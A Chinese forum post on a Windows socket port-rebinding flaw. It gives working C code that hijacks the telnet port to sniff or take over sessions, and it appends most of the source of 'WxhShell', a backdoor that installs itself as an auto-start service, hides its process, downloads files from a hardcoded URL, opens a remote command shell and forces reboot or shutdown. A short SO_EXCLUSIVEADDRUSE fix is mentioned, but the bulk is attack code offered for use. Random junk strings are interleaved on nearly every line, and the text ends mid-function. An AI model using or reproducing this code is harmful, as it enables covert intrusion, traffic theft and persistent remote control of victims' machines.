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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RXgb/VR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I68u%fCv  
Y{Z&W9U  
  saddr.sin_family = AF_INET; 8v$q+Wic  
BQu |qr q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o[C^z7WG0  
r%,?uim#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {R1]tGOf  
rOJ>lPs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J/1kJ@5  
]H1mj#EWU  
  这意味着什么?意味着可以进行如下的攻击: (:o F\  
>AJ/!{jD*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N?\X 2J1  
(Y1*Bs[l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V?mP7  
bWFa{W5!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PRh C1#  
aV;|2}q "  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sY ]J!"  
@|gG3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UHl3/m7g  
]ch=@IV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C,|&  
GS;GJsAs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pc`P;Eui  
j<AOC?  
  #include P{Nvt/%  
  #include dX[I :,z*  
  #include j=sfE qN).  
  #include    LuS@Kf8N+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bZowc {!\  
  int main() *xnZTj:  
  { SmXoNiM"y  
  WORD wVersionRequested; F`D$bE;|  
  DWORD ret; ~Ntk -p  
  WSADATA wsaData; T3 w%y`K  
  BOOL val; ~Ztn(1N  
  SOCKADDR_IN saddr; +k`L8@a3&  
  SOCKADDR_IN scaddr; KzHN|8 $o  
  int err; [LVXXjkFI  
  SOCKET s; |$WHw*F^  
  SOCKET sc; j0l,1=^>l  
  int caddsize; 1?'4%>kp  
  HANDLE mt; (UkP AE  
  DWORD tid;   oO2DPcK  
  wVersionRequested = MAKEWORD( 2, 2 ); AR| 4^  
  err = WSAStartup( wVersionRequested, &wsaData ); 91R# /i  
  if ( err != 0 ) { h.<f%&)F  
  printf("error!WSAStartup failed!\n"); d`sZ"8}j  
  return -1; vC]X>P5Px  
  } "Q:Gd6?h;  
  saddr.sin_family = AF_INET; x^ s,<G  
   NaR} 0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t{})6  
rto?*^N?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HUKrp*Hv  
  saddr.sin_port = htons(23); !LK xZ"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) := V?;  
  { jz!I +  
  printf("error!socket failed!\n"); M5bE5C  
  return -1; jCqz^5=$  
  } teok*'b:  
  val = TRUE; 1}VaBsEV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C HnclT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K V5 '-Sv1  
  { gT}H B.  
  printf("error!setsockopt failed!\n"); 1AJ6NBC&c  
  return -1; Vgm*5a6t  
  } 80nEQT y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7L~ *%j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WwmYJl0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'm<Lx _i  
=2!p>>t,d;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0cm34\*  
  { }Rh\JDiQ  
  ret=GetLastError(); z5@XFaQ  
  printf("error!bind failed!\n"); VEps|d3,,  
  return -1; |\(uO|)ju  
  } a`wjZ"}'[  
  listen(s,2); [ycX)iM  
  while(1) l b(  
  { oidZWy  
  caddsize = sizeof(scaddr); Jm_)}dj3o  
  //接受连接请求 '_v~+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *7Vb([x4;  
  if(sc!=INVALID_SOCKET) BA\aVhmx  
  { t<rIg1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F5?S8=i  
  if(mt==NULL) YZ~MByu  
  { 6A"$9sj6  
  printf("Thread Creat Failed!\n"); w=GMQ8  
  break;  'z} t= ?  
  } 5]O{tSj  
  } gWj-@o\  
  CloseHandle(mt); B.N#9u-vW  
  } D07M!U  
  closesocket(s); z:Am1B  
  WSACleanup(); l>6tEOXt  
  return 0; #*h\U]=VS  
  }   7. F'1oEf  
  DWORD WINAPI ClientThread(LPVOID lpParam) +Tum K.  
  { oN032o?S  
  SOCKET ss = (SOCKET)lpParam; ZSf &M  
  SOCKET sc; ^50dF:V(1  
  unsigned char buf[4096]; 8maWF.xq  
  SOCKADDR_IN saddr; x/,;:S  
  long num; :FAPH8]  
  DWORD val; \HGf!zZ  
  DWORD ret; <rzP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q}#Je.;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |=;hQ2HyF  
  saddr.sin_family = AF_INET; PVb[E03  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0F[ f%2j  
  saddr.sin_port = htons(23); C m[}DB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DI\=udN  
  { 3)G~ud  
  printf("error!socket failed!\n"); wfo,r 7  
  return -1; Xs2}n^#i  
  } NQ{(G8x9  
  val = 100; )oIh?-WL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v3r3$(Hr  
  { #eW T-m  
  ret = GetLastError(); `n&:\Ib  
  return -1; zQ,rw[C"W  
  } R4p Pt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]-gyXE1.r  
  { `7/(sX.  
  ret = GetLastError(); KF(H >gs  
  return -1; 4aO/^Hl  
  } =:rg1wo"c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,AnD%#o  
  { V k{;g  
  printf("error!socket connect failed!\n"); \_Bj"K  
  closesocket(sc); P j   
  closesocket(ss); C|ZPnm>f30  
  return -1; G)am ng/  
  }  sS-dHa  
  while(1)  9q"kM  
  { C8m9H8Qm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b,'O|s]"Sc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I}PI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6H|1IrG  
  num = recv(ss,buf,4096,0); 9q'&tU'a=c  
  if(num>0) v#,queGi  
  send(sc,buf,num,0); i$NlS}W  
  else if(num==0) (d_z\U7l  
  break; / l$enexSt  
  num = recv(sc,buf,4096,0); /DAR'9@h  
  if(num>0) ,@ '^3u  
  send(ss,buf,num,0);  qb? <u  
  else if(num==0) ! I:N<  
  break; kX8C'D4 gX  
  } Yw|v5/>  
  closesocket(ss); hl1IG !  
  closesocket(sc); E@GYl85fI  
  return 0 ; /2p*uv }IP  
  } NWf=mrS8@$  
}zGx0Q  
G4(R/<J,BQ  
========================================================== ?Bf>G]zx  
Yc[umn^K  
下边附上一个代码,,WXhSHELL 3RaduN]  
AR [m+E  
========================================================== xO|r<R7d7  
D, ")n75  
#include "stdafx.h" W %*#rcdq  
O,r;-t4vYU  
#include <stdio.h> g<Z :`00|  
#include <string.h> R /=rNUe  
#include <windows.h> 5m1J&TZ0  
#include <winsock2.h> OHndZ$'fI  
#include <winsvc.h> s!IIvF  
#include <urlmon.h> ^MpMqm1?8;  
0GUJc}fgvN  
#pragma comment (lib, "Ws2_32.lib") 1GYZ1iA  
#pragma comment (lib, "urlmon.lib") Fx^wV^q3  
YPGM||  
#define MAX_USER   100 // 最大客户端连接数 -PpcFLZ|  
#define BUF_SOCK   200 // sock buffer :;_ khno  
#define KEY_BUFF   255 // 输入 buffer :9hGL  
i.E2a)  
#define REBOOT     0   // 重启 %axr@o[  
#define SHUTDOWN   1   // 关机 ei5YxV6I  
}5+^  
#define DEF_PORT   5000 // 监听端口 P<vl+&*  
>+{WiZ`  
#define REG_LEN     16   // 注册表键长度 Ksx-Y"  
#define SVC_LEN     80   // NT服务名长度 Wk[a|>  
!+SL=xy!{  
// 从dll定义API QXb2jWz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^*AI19w!Ys  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SA<\n+>q^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -lo?16w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uU^DYgs  
x17:~[c']  
// wxhshell配置信息 h7#\]2U$[5  
struct WSCFG { )Q=u[ p  
  int ws_port;         // 监听端口 _*AI1/>`  
  char ws_passstr[REG_LEN]; // 口令 Wep^He\:  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kg 6J:HD49  
  char ws_regname[REG_LEN]; // 注册表键名 9VW/Af  
  char ws_svcname[REG_LEN]; // 服务名 ,[;O'g?,g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |.@!CqJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZXx1S?u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uZl d9u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q+Bl1xl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'APx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /#00'(oD  
3H,x4L5j  
}; `Abd=1nH  
vaeQ}F  
// default Wxhshell configuration ]he~KO[j<  
struct WSCFG wscfg={DEF_PORT, Ll KO(Q{"  
    "xuhuanlingzhe", EGl<oxL*R2  
    1, ZS.=GjK  
    "Wxhshell", M@T{uo  
    "Wxhshell", @ZISv'F  
            "WxhShell Service", dqB,i9--  
    "Wrsky Windows CmdShell Service", AGFA;X  
    "Please Input Your Password: ", obvE m[x!Z  
  1, f7*Qa!!2p]  
  "http://www.wrsky.com/wxhshell.exe", :u7BCV|yr  
  "Wxhshell.exe" <{W{ Y\_A>  
    }; $z_yx `5  
:aOR@])>o  
// 消息定义模块 no+ m.B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Z>-<]p9g  
char *msg_ws_prompt="\n\r? for help\n\r#>";  N}5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d}O\:\}y  
char *msg_ws_ext="\n\rExit."; 2WS*c7Ct  
char *msg_ws_end="\n\rQuit."; ZQlk 5  
char *msg_ws_boot="\n\rReboot..."; 6)1PDlB  
char *msg_ws_poff="\n\rShutdown..."; Q>$B.z  
char *msg_ws_down="\n\rSave to "; OkC.e')Vx  
E7O3$B8  
char *msg_ws_err="\n\rErr!"; Gor 9 &aJ1  
char *msg_ws_ok="\n\rOK!"; $2W#'_K+  
;87PP7~  
char ExeFile[MAX_PATH]; 6'r;6T *  
int nUser = 0; {]6-,/3UR  
HANDLE handles[MAX_USER]; -Mr_Ao`E  
int OsIsNt; eQi^d/yi  
!\#Wq{p>W*  
SERVICE_STATUS       serviceStatus; K^!#;,0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $]LS!@ Rm  
0m3hL~0(a  
// 函数声明 $T K*w8@:  
int Install(void); z6w'XA1_+t  
int Uninstall(void); bhD-;Y!6;  
int DownloadFile(char *sURL, SOCKET wsh); !Q"L)%)'A  
int Boot(int flag); L ,R}l0kc  
void HideProc(void); <Z.`X7]Uk  
int GetOsVer(void); hj1;f<' U  
int Wxhshell(SOCKET wsl); )<HvIr(xr  
void TalkWithClient(void *cs); :WRD<D_4  
int CmdShell(SOCKET sock); uzxwJs'fz  
int StartFromService(void); 1{M?_~g 4  
int StartWxhshell(LPSTR lpCmdLine); y CHOg  
waMV6w)<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i1x4$}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $*eYiz3Ue  
[C EV&B  
// 数据结构和表定义 "3VX9{'%@  
SERVICE_TABLE_ENTRY DispatchTable[] = qoZi1,i'  
{ s O#cJAfuu  
{wscfg.ws_svcname, NTServiceMain}, /}1|'?P  
{NULL, NULL} z9 0JZA  
}; "81'{\(I_  
<6;M\:Y*T  
// 自我安装 pmP~1=3  
int Install(void) `]65&hWZL  
{ 0y$VPgsKf  
  char svExeFile[MAX_PATH]; G$a@}9V  
  HKEY key; Y*@7/2,  
  strcpy(svExeFile,ExeFile); fK:4jl-r  
(8 7wWhH  
// 如果是win9x系统,修改注册表设为自启动 A!GvfmzqIn  
if(!OsIsNt) { CE M4E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W^09tx/I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l1]N&jN{  
  RegCloseKey(key); O`CZwXD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d_(>:|o h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z$1|D{  
  RegCloseKey(key); (ORbhjl  
  return 0; EPW4 h/I  
    } g5#LoGc  
  } +F NGRL  
} K3vZ42n  
else { [G brKq(  
/ xv5we~  
// 如果是NT以上系统,安装为系统服务 ,JI]Eij^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #8XmOJ"W3k  
if (schSCManager!=0) 9wCgJ$te  
{ (P? |Bk [  
  SC_HANDLE schService = CreateService wDi/oH/H  
  ( vKnZ==B  
  schSCManager, *JImP9SE  
  wscfg.ws_svcname, >&HW6 c  
  wscfg.ws_svcdisp, 8L:AmpQdpA  
  SERVICE_ALL_ACCESS, mKtMI!FR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U;3t{~Ym  
  SERVICE_AUTO_START, h];H]15&  
  SERVICE_ERROR_NORMAL, 9Pg6,[*u  
  svExeFile, &L0Ii)Ns  
  NULL, 28v^j*=* \  
  NULL, )7Hx <?P  
  NULL, RNB -W%  
  NULL, bCP2_h3*  
  NULL KRGj6g+  
  ); 9.xb-m7  
  if (schService!=0) 3VU4E|s>  
  { Ma\%uEgTD  
  CloseServiceHandle(schService); 5Kd"W,  
  CloseServiceHandle(schSCManager); 7_36xpw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sh,4n{+  
  strcat(svExeFile,wscfg.ws_svcname); RCa1S^.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e\(X:T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k t`ln  
  RegCloseKey(key); tWl' )^  
  return 0; P_jav 0j7g  
    } fph+ 05.%  
  } ^+%bh/2_W  
  CloseServiceHandle(schSCManager); r[):'ys,C  
} =M:Po0?0E  
} fiC0'4.,  
?v,c)  
return 1; tMdSdJ8  
} ;R&W#Q7>3  
OS%[SHs  
// 自我卸载 %gn@B2z  
int Uninstall(void) Xqe Qj}2kA  
{ Y\<w|LkD8  
  HKEY key; @Wd (>*"zw  
"< Di  
if(!OsIsNt) { C<C^7-5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z( ^?xv  
  RegDeleteValue(key,wscfg.ws_regname); 3Yx'/=]  
  RegCloseKey(key); 8T.bT6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MZ0cZv$v!~  
  RegDeleteValue(key,wscfg.ws_regname); g#fn(A  
  RegCloseKey(key); 4T52vM  
  return 0; Jo qhmn$j  
  } )Dms9:  
} @fA| y  
} `B&E?x  
else { XRM/d5  
Jo8fMG\P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x| D|d}  
if (schSCManager!=0) |,KsJ2hD  
{ [< 9%IGH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fb0)("_V  
  if (schService!=0) %qJgtu"8  
  { d8 ~%(I9  
  if(DeleteService(schService)!=0) { r9-ayp#pC  
  CloseServiceHandle(schService); $EIKi'!8  
  CloseServiceHandle(schSCManager); N:'GNMu  
  return 0; YG?4DF  
  } M-;Mw Lx  
  CloseServiceHandle(schService); [+5g 9tBJ  
  } lO9Ixhf~iu  
  CloseServiceHandle(schSCManager); G]xYQ]  
} |$\1E+  
} ?$I9/r  
4TQmEM,  
return 1; Dg~m}La  
} Q<szH1-  
,d!@5d&Zi  
// 从指定url下载文件 Qhe<(<^J,  
int DownloadFile(char *sURL, SOCKET wsh) IuFr:3(  
{ -1$z=,q'  
  HRESULT hr; }VWUcALJV  
char seps[]= "/"; MowAM+?^}  
char *token; Qa2p34Z/  
char *file; 4uE )*1  
char myURL[MAX_PATH]; :Eh}]_  
char myFILE[MAX_PATH]; GXLh(d!C  
uZf 6W<a  
strcpy(myURL,sURL); g"!cO^GkT  
  token=strtok(myURL,seps); %Y/;jC Y  
  while(token!=NULL) $M,Q"QL  
  { IEM{?  
    file=token; G{|"WaKW  
  token=strtok(NULL,seps); [Djx@x  
  } | Wj=%Ol%o  
' 8R5 Tl  
GetCurrentDirectory(MAX_PATH,myFILE);  $AZ=;iP-  
strcat(myFILE, "\\"); g;q.vHvsc"  
strcat(myFILE, file); @b2?BSdUp  
  send(wsh,myFILE,strlen(myFILE),0); 1Xh@x  
send(wsh,"...",3,0); T.QJ#vKO0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Ar|i8^G3  
  if(hr==S_OK) [# X} (  
return 0; E>E^t=; [  
else it>Bf;  
return 1; y% !.:7Y  
$zhvI*0  
} >X[:(m'  
7[L%j;)bw  
// 系统电源模块 %WP[V{,F  
int Boot(int flag) ME)='~E  
{ W! |_ hL  
  HANDLE hToken; fMHw=wJQ  
  TOKEN_PRIVILEGES tkp; E@Ewx;P5  
!z :j-gT3  
  if(OsIsNt) { 0%|)=T3Slu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _h,X3P   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4y4r;[@U  
    tkp.PrivilegeCount = 1; <%|u1cn~!v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7N5M=f.DS(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2cS94h  
if(flag==REBOOT) { TZn5s~t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2t0VbAO 1{  
  return 0; ] fA5D)/m<  
} -ciwIS9L  
else { z 36Y/{>[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]A\qI>,  
  return 0; {w ,^Z[<  
} a>6M{C@pd  
  } Mx# P >.  
  else { fS8Pi,!  
if(flag==REBOOT) { V'za,.d-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xrlyph5mE  
  return 0; (Xz q(QV  
} Gw6Od j  
else { SEu:31k{o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  SN}3  
  return 0; Xrc{w Dn  
} -nD} k  
} FyXO @yF  
c8_,S[W  
return 1; T gLr4Ex  
} ?!c7Zx,(  
MCXt,`}[  
// win9x进程隐藏模块 $QT% -9&  
void HideProc(void) E+ XR[p  
{ 7bVKH[  
u#V;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :.{d,)G  
  if ( hKernel != NULL ) @.dM1DN)  
  { }lq$Fi/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WhFE{-!gX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OzH\YN  
    FreeLibrary(hKernel); PVN`k, 4  
  } *uxKI:rB:  
}`2+`w%uZ  
return; XCez5Q1  
} _?$')P|  
z,!A4ws  
// 获取操作系统版本 G!D~*B9 G  
int GetOsVer(void) ]r#NjP  
{ 96gaun J  
  OSVERSIONINFO winfo; xo-{N[r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @te}Asv  
  GetVersionEx(&winfo); jC-`u-_'j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B>"-8#B[4  
  return 1; :^x,>( a  
  else K)\D,5X^  
  return 0; ~PN[ #e]  
} idS+&:'  
)Dcee@/7S  
// 客户端句柄模块 Ghe@m6|D  
int Wxhshell(SOCKET wsl) \pI ,6$'  
{ sI4 FgO  
  SOCKET wsh; )%: W;H  
  struct sockaddr_in client; kWbY&]ZO  
  DWORD myID; (5RZLRn  
)R@Y$*fm  
  while(nUser<MAX_USER) )1)&fN41i#  
{ IJ{VCzi  
  int nSize=sizeof(client); *@YQr]~ ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6iEA._y  
  if(wsh==INVALID_SOCKET) return 1; V%^d~^m,H  
B]>rcjD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xs2B:`,hh  
if(handles[nUser]==0) k$,y1hH;f8  
  closesocket(wsh); V* ,u;*  
else EYZ,GT-I  
  nUser++; \qJ^n %  
  } &';@CeK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ds8x9v)^  
%VrMlG4hx  
  return 0; UwDoueXs  
} PJh97%7  
`KP}pi\  
// 关闭 socket *m 6*sIR  
void CloseIt(SOCKET wsh) n8&x=Z}Xs  
{ ~}G#ys\1  
closesocket(wsh); 6x@]b>W  
nUser--; 368H6 Jj  
ExitThread(0); s%N6^}N  
} z2dW)_fU$  
!:D,|k\m  
// 客户端请求句柄 1n $  
void TalkWithClient(void *cs) 9H%ixBnM  
{ .n}k,da@(  
I=8MLv  
  SOCKET wsh=(SOCKET)cs; "N=q>jaX  
  char pwd[SVC_LEN]; tqU8>d0^  
  char cmd[KEY_BUFF]; d^|r#"o[  
char chr[1]; 1| xKb (_l  
int i,j; OJLyqncw  
A+hT2Ew@t}  
  while (nUser < MAX_USER) { B=i%Z _r]w  
* \ tR  
if(wscfg.ws_passstr) { N)YoWA>#bF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :-b-)*TC;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7"{CBbT  
  //ZeroMemory(pwd,KEY_BUFF); S`[r]msw  
      i=0; []H0{a2{<  
  while(i<SVC_LEN) { z|N*Gs>,  
#pMpGw$  
  // 设置超时 RgVg~?A@  
  fd_set FdRead; '/F~vSQsR  
  struct timeval TimeOut; o@|kq1m8  
  FD_ZERO(&FdRead); [i]%PVGW  
  FD_SET(wsh,&FdRead); ]Ai!G7s8P  
  TimeOut.tv_sec=8; YZ5[# E@l  
  TimeOut.tv_usec=0; fH_Xm :%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I8:G:s:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'i8?]` T  
4"V6k4i5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S)A;!}RK6  
  pwd=chr[0]; Ns[.guWu-  
  if(chr[0]==0xd || chr[0]==0xa) { %VgK::)r  
  pwd=0; +|spC  
  break; ; 5!8LmZ0#  
  } ;:ocU?  
  i++; $/P\@|MqYQ  
    } NJ!}(=1|K  
D+Z,;XZ  
  // 如果是非法用户,关闭 socket vP/sG5$x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !%G;t$U=M  
} M_F4I$V4  
N|s8PIcSp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x@<!#d+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l65Qk2<YC  
t? _{  
while(1) { LQa1p  
lJBZ0  
  ZeroMemory(cmd,KEY_BUFF); iSj.lW  
#4?:4Im#  
      // 自动支持客户端 telnet标准   1?#Wg>7'  
  j=0; 3- 4jSN\  
  while(j<KEY_BUFF) { coc :$Sr%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^p #bxN")  
  cmd[j]=chr[0];  1O@ cev;  
  if(chr[0]==0xa || chr[0]==0xd) { hHqsI`7c  
  cmd[j]=0; 8HH\wu$$e  
  break; m:5bb 3  
  } L"V~M F  
  j++; wHhIa3_v  
    } uWerC?da  
^NOy: >  
  // 下载文件 =zKbvwe%X  
  if(strstr(cmd,"http://")) { F[U0TP@&*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 29h_oNO  
  if(DownloadFile(cmd,wsh)) fuA 8jx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gd\b]L?>O  
  else ZfIeq<8 _  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B7BikxUa  
  } Ty"=3AvRLV  
  else { k.w}}78N2N  
m?D k(DJ  
    switch(cmd[0]) { ]7_O#MY1  
  97SG;,6  
  // 帮助 tsqWnz=)  
  case '?': { R{Qvpd$y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ogKd}qTov  
    break; WevXQ-eKm  
  } KXga {]G:  
  // 安装 =?- s azF&  
  case 'i': { jT q@@y  
    if(Install()) Jl^THoEL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JB\BP$ap  
    else &5;y&dh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FuZLE%gP  
    break; gT4H? #UB  
    } =)y=39&;/  
  // 卸载 z`+j]NX]  
  case 'r': { jp QmKX  
    if(Uninstall()) Kkz2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^"_Fox]A\  
    else ||sj*K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3q0^7)m0  
    break; 7_ah1IEK  
    } KdTna6nY  
  // 显示 wxhshell 所在路径 r$.v"Wh)  
  case 'p': { q5(Z   
    char svExeFile[MAX_PATH]; )v?-[ oR  
    strcpy(svExeFile,"\n\r"); TANt*r7  
      strcat(svExeFile,ExeFile); AehkEN&H/t  
        send(wsh,svExeFile,strlen(svExeFile),0); $8,/[V A  
    break; 'P?DZE  
    } fTc ,"{  
  // 重启 H) &pay  
  case 'b': { Z8Il3b*)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V{G9E  
    if(Boot(REBOOT)) lEv<n6:_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wC[Bh^]  
    else { 1f`=U 0  
    closesocket(wsh); )Y+?)=~  
    ExitThread(0); A4uDuB;;ZQ  
    } ,\ RxKSU  
    break; E8.xmTq  
    } #5.L%F  
  // 关机 Z<0+<tt  
